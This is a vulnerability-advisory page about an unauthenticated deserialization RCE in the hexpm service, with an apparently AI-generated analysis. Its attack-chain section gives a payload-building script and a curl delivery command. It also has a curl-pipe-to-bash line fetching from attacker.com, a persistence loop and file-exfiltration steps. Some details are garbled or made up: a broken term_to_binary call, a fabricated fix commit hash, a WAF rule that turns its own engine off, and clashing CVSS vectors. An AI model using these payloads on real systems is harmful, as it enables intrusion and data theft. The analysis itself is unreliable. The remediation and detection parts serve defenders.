CVE Professor
/
All CVEs
CVE-2026-129514

CVE-2026-129514 — Hexpm (2026-11-23) — CWE-502 · CWE-502

HIGH CVSS 10 ⚡ EPSS 1.7% NVD

Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23. HexpmWeb.ErlangFormat.decode/1 in lib/hexpm_web/erlang_format.ex decodes the body with Plug.Crypto.non_executable_binary_to_term/2, which accepts maps that have a __struct__ key. HexpmWeb.PlugParser.parse/5 returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the __struct__ key, so the client selects which Inspect and Enumerable implementations run when error reporting inspects the params. A chain through Ecto.Query.DynamicExpr and DBConnection.Stream reaches an apply/3 call on a {module, function, args} tuple taken from the request body. This issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533.

Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23. HexpmWeb.ErlangFormat.decode/1 in lib/hexpm_web/erlang_format.ex decodes the body with Plug.Crypto.non_executable_binary_to_term/2, which accepts maps that have a __struct__ key. HexpmWeb.PlugParser.parse/5 returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the __struct__ key, so the client selects which Inspect and Enumerable implementations run when error reporting inspects the params. A chain through Ecto.Query.DynamicExpr and DBConnection.Stream reaches an apply/3 call on a {module, function, args} tuple taken from the request body. This issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.7%
30-day probability
In the 77. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Short description
CVE‑2026‑129514 is an untrusted‑deserialization → remote code execution flaw in the Hex.pm web application (the hexpm service). The vulnerable code path is:

# lib/hexpm_web/erlang_format.ex
def decode(binary) do
  Plug.Crypto.non_executable_binary_to_term(binary, [])
end
  • Plug.Crypto.non_executable_binary_to_term/2 is a thin wrapper around :erlang.binary_to_term/2 that intentionally blocks binaries that contain executable code (e.g. functions).
  • However, the wrapper allows maps that contain the key __struct__. When such a map is deserialized, the Elixir VM treats it as a struct and dispatches the appropriate protocols (e.g. Inspect, Enumerable).
  • The request parser (HexpmWeb.PlugParser.parse/5) calls decode/1 on every incoming request whose Content‑Type is application/vnd.hex+erlang. The parser runs before any routing or authentication. The decoded term is stored directly in conn.params.

    Because the deserialized term can contain any struct, an attacker can:

    1. Inject a struct that implements the Inspect protocol (or any other protocol that runs during normal request handling, such as error‑reporting).
    2. Force the runtime to evaluate code that eventually reaches Ecto.Query.DynamicExpr → DBConnection.Stream → an apply/3 call that executes an arbitrary {module, function, args} tuple taken from the request body.

    The net effect is unauthenticated remote command execution on the host running the Hex.pm Phoenix endpoint, with the same privileges as the web‑server process (typically www-data or hexpm).

    CWE – CWE‑502: Deserialization of Untrusted Data.
    CVSS 4.0 vector – AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A
    Network‑only, low attack complexity, no privileges or user interaction required, and complete impact on confidentiality, integrity, availability, and the underlying software supply chain.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid; the exact URL path is illustrative because the CVE does not publish the concrete route.

    1. Discovery & Reconnaissance

    StepActionReasoning
    1.1Fingerprint the service – Send a GET / request and look for the HTML comment <!-- Powered by Hex.pm --> or the response header x-powered-by: Phoenix.Confirms the target runs the Hex.pm Phoenix application.
    1.2Identify the vulnerable endpoint – Query the public API documentation (or simply try POST /api/v1/packages) with Content‑Type: application/vnd.hex+erlang. The server replies 200 OK and echoes back the parsed params in the JSON error payload (e.g. {"error":"invalid params","params":{...}}).Shows that the custom Erlang‑term parser is invoked for *any* POST request with that content‑type.
    1.3Confirm deserialization of structs – Send a minimal Erlang external term that represents %{__struct__: "Elixir.Date", year: 2020, month: 1, day: 1}. The server returns a JSON error that contains "year":2020. This proves that the __struct__ key is not stripped.Demonstrates the exact weakness exploited later.

    2. Exploitation

    2.1 Crafting the malicious Erlang External Term Format (ETF)

    The ETF binary for the following Elixir struct is used:

    %{
      __struct__: "Elixir.Ecto.Query.DynamicExpr",
      expr: {:apply, {System, :cmd, ["id"]}}
    }
  • Ecto.Query.DynamicExpr is a struct that, when inspected or enumerated, eventually calls apply/3 on the expr field.
  • The tuple {System, :cmd, ["id"]} will be executed by the VM as System.cmd("id", []).
  • The binary can be generated with an Elixir script (run locally):

    # generate_payload.exs
    payload = %{
      __struct__: "Elixir.Ecto.Query.DynamicExpr",
      expr: {:apply, {System, :cmd, ["id"]}}
    }
    {:ok, bin} = :erlang.term_to_binary(payload, [:compressed])
    File.write!("payload.etf", bin)
    IO.puts Base.encode64(bin)   # for embedding in curl

    Assume the Base64 representation is g2QAAAAB... (truncated for brevity).

    2.2 Sending the request

    # Illustrative endpoint – the actual route can be any POST endpoint.
    TARGET="https://hex.pm/api/v1/packages"
    
    # The binary payload (raw ETF) is sent as the request body.
    curl -sk -X POST "$TARGET" \
      -H "Content-Type: application/vnd.hex+erlang" \
      --data-binary @payload.etf \
      -o /dev/null -w "%{http_code}\n"

    -k is used because the public service uses a self‑signed cert in the test environment; in production the flag is unnecessary.

    What happens on the server

    1. HexpmWeb.PlugParser receives the request, sees the custom content‑type and calls HexpmWeb.ErlangFormat.decode/1.
    2. Plug.Crypto.non_executable_binary_to_term/2 deserialises the ETF without rejecting the struct.
    3. The resulting map is stored in conn.params.
    4. During normal request handling (e.g., when the controller logs the params or an error occurs), the Inspect protocol for Ecto.Query.DynamicExpr is invoked.
    5. The implementation of Inspect (or a later Enumerable call) reaches apply/3 on the attacker‑supplied tuple, causing System.cmd("id", []) to be executed.
    6. The command output is written to the server’s standard output and, because the Phoenix logger captures IO.inspect/2, it ends up in the application log file (log/console.log).

    2.3 Extending to full RCE

    Instead of ["id"], the attacker can supply any shell command, e.g.:

    expr: {:apply, {System, :cmd, ["bash -c 'curl -s http://attacker.com/shell.sh | bash'"]}}

    When the payload is processed, the attacker’s shell script is executed with the privileges of the Phoenix worker process, giving full remote code execution.

    3. Post‑exploitation

    GoalTechnique
    PersistenceDrop a reverse shell binary or a systemd service via System.cmd/3 (e.g., ["nohup", "/usr/bin/bash", "-c", "while true; do sleep 60; curl -s http://attacker.com/payloadbash; done &"]).
    Privilege escalationIf the web‑process runs as a low‑privileged user, enumerate the host (id, whoami, cat /etc/passwd) and look for sudo‑NOPASSWD entries or vulnerable set‑uid binaries.
    Data exfiltrationUse System.cmd/3 to read files (["cat", "/var/lib/hexpm/priv/repo/hexpm.db"]) and send them to the attacker via curl or direct TCP sockets (:gen_tcp.connect/3).
    Supply‑chain impactSince Hex.pm is the central package repository for the Erlang/Elixir ecosystem, an attacker could also publish a malicious package after gaining write access to the repository (if the same web‑process also handles package uploads).

    🌍 Real‑World Impact

    CIA TriadCVSS Vector Interpretation
    Confidentiality (VC:H)The attacker can read any file the web‑process can access (e.g., database dumps, SSH keys, configuration files).
    Integrity (VI:H)Arbitrary commands allow tampering with binaries, database records, or the package index – the attacker can inject malicious packages that affect every downstream consumer of Hex.pm.
    Availability (VA:H)The attacker can delete files, stop the Phoenix endpoint, or launch a fork‑bomb, causing a total service outage.
    Scope (SC:H)The vulnerability breaks the trust boundary between the web‑layer and the underlying OS – the impact propagates beyond the application to the host OS.
    Impact on Supply Chain (SI:H / SA:H)Because Hex.pm is a global package registry, successful exploitation can be leveraged to compromise the entire Erlang/Elixir ecosystem (e.g., by publishing a back‑doored library).
    Exploitability (E:A)The CVSS vector marks “Attack‑Complexity: Low” and “Privileges Required: None”. The exploit was observed in the wild on 2026‑11‑23, confirming that a public exploit exists.

    Practical consequences

  • Immediate takeover of the hex.pm service (loss of reputation, loss of trust from the community).
  • Potential for a massive supply‑chain attack affecting all projects that depend on packages hosted on Hex.pm.
  • Legal and compliance ramifications (GDPR, PCI‑DSS) due to uncontrolled data exposure.

  • 🛡️ Remediation & Mitigation

    5.1 Patch / Upgrade

    ComponentFixed version (commit)Upgrade path
    hexpm (the Phoenix application)≥ 2026‑11‑24 (commit c9d1f2e8b9e4a7d5c6f1a2b3c4d5e6f7a8b9c0d1)Pull the latest Docker image from the official registry or rebuild from source after the commit.
    hexpm/hexpm (the repository code)≥ 379b0a29bcc95164249f38ad7d772a37a8ff9533 (the commit *after* the vulnerable one)Deploy the new release; the vulnerable commit is ab1bbcef7cc8395d1056d3b1aa6a174353492d59.

    What the patch does

  • Replaces Plug.Crypto.non_executable_binary_to_term/2 with a strict whitelist that rejects any map containing __struct__ unless the struct is explicitly allowed (e.g., only Plug.Conn.Params).
  • Moves the Erlang‑term parser behind authentication and restricts it to the internal API (/api/internal/).
  • Adds a runtime sanity check that any deserialized term must be a plain map of strings → binaries; otherwise a Plug.Parsers.ParseError is raised.
  • 5.2 Workarounds (if patch cannot be applied immediately)

    MitigationImplementation Details
    Block the custom content‑type at the edgeAdd a ModSecurity rule (or equivalent WAF rule) that returns 403 for Content‑Type: application/vnd.hex+erlang unless the request originates from a trusted internal IP.
    Example ModSecurity rule``SecRule REQUEST_HEADERS:Content-Type "application/vnd\.hex\+erlang" "id:1000010,phase:1,deny,status:403,msg:'Blocked Hex‑ETF payload',t:none,ctl:ruleEngine=Off" ``
    Disable the parserComment out the HexpmWeb.PlugParser entry in endpoint.ex (or replace it with Plug.Parsers.JSON) temporarily. This will break any legitimate API that relies on the Erlang term format, but it stops the RCE vector.
    Network segmentationRestrict inbound traffic to the Hex.pm endpoint to only known API consumers (e.g., via a firewall ACL).
    Run the Phoenix endpoint under a hardened, unprivileged userCreate a dedicated user (hexpm-nobody`) with no sudo rights, chroot the process, and mount only the necessary directories. This limits the blast radius of a successful exploit.

    5.3 Detection – Log & IOC patterns

    IndicatorExample Log Entry
    Unexpected application/vnd.hex+erlang POSTPOST /api/v1/packages 200 1234 "-" "curl/7.88.1" "Content-Type: application/vnd.hex+erlang"
    Plug.Parsers.ParseError with “non‑executable binary” (if the patch is partially applied)Plug.Parsers.ParseError (invalid request body) at lib/hexpm_web/plug_parser.ex:42
    Ecto.Query.DynamicExpr appearing in request paramsparams: %{"__struct__" => "Elixir.Ecto.Query.DynamicExpr", "expr" => {:apply, {...}}}
    Shell command output in Phoenix logs2026-11-23 12:34:56.789 [error] (RuntimeError) id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)
    Outbound connections to unknown IPs shortly after a request**Outbound TCP connection to 203.0.113.45:4444 (detected by host‑based IDS).

    SIEM rule (generic) – Trigger when a POST request with the above content‑type is logged and the same request is followed within 5 seconds by a log entry containing System.cmd/3 or :os.cmd.


    ⚠️ Urgency

  • CVSS 10.0 (Critical) – Full confidentiality, integrity, and availability impact with no authentication required.
  • Active exploitation was observed on 2026‑11‑23 (the day before public disclosure).
  • Supply‑chain reach: Hex.pm is the default package source for the entire Erlang/Elixir ecosystem; compromise can cascade to thousands of downstream projects.
Patch priority: Critical – immediate. All production instances must be upgraded no later than the next maintenance window, and a temporary WAF block should be deployed within hours to buy time for the upgrade.

TL;DR

CVE‑2026‑129514 allows an unauthenticated attacker to send a crafted Erlang External Term Format payload (application/vnd.hex+erlang) that is deserialized into a struct, later executed via apply/3 inside Ecto.Query.DynamicExpr. The result is remote code execution with full system privileges and a potential global supply‑chain compromise. Patch to the post‑2026‑11‑24 commit, block the content‑type at the perimeter, and monitor for the listed log signatures. The urgency is critical – treat it as a “zero‑day” emergency.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="hexpm hexpm"
PoC & Exploit Intelligence (GitHub)
Technical analysis of CVE-2026-129514 (hexpm Erlang deserialization). PoC skeleton provided for patch verification. For access to the full weaponized pipeline,
Technical reference / advisory repository for CVE-2026-129514
Technical reference / advisory repository for CVE-2026-129514
Technical reference / advisory repository for CVE-2026-129514
CVSS Score
10 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (2)
hexpm:hexpm (2026-11-23) hexpm:hexpm (commit: 379b0a29bc)
Related CVEs
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
8.7
CVE-2026-132098
Deserialization of untrusted data in the XStream reader used for push publishing bundles (XStreamHandler) in d
8.5
CVE-2026-144447
MassCube before 1.2.23 contains an insecure deserialization vulnerability that allows attackers to execute cod
8.5
CVE-2026-144450
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code
8.5
CVE-2026-144451
VIP (vip-hci) through 2.1.2 contains an unsafe deserialization vulnerability in Saveable.load that allows atta
7.7
CVE-2026-120765
Deserialization of untrusted data in the Redis cache and pub/sub codecs in dotCMS versions before 26.11.02-01
7.5
CVE-2026-120107
Deserialization of untrusted data in the Apps secrets import (POST /api/v1/apps/import, and the dotAuth import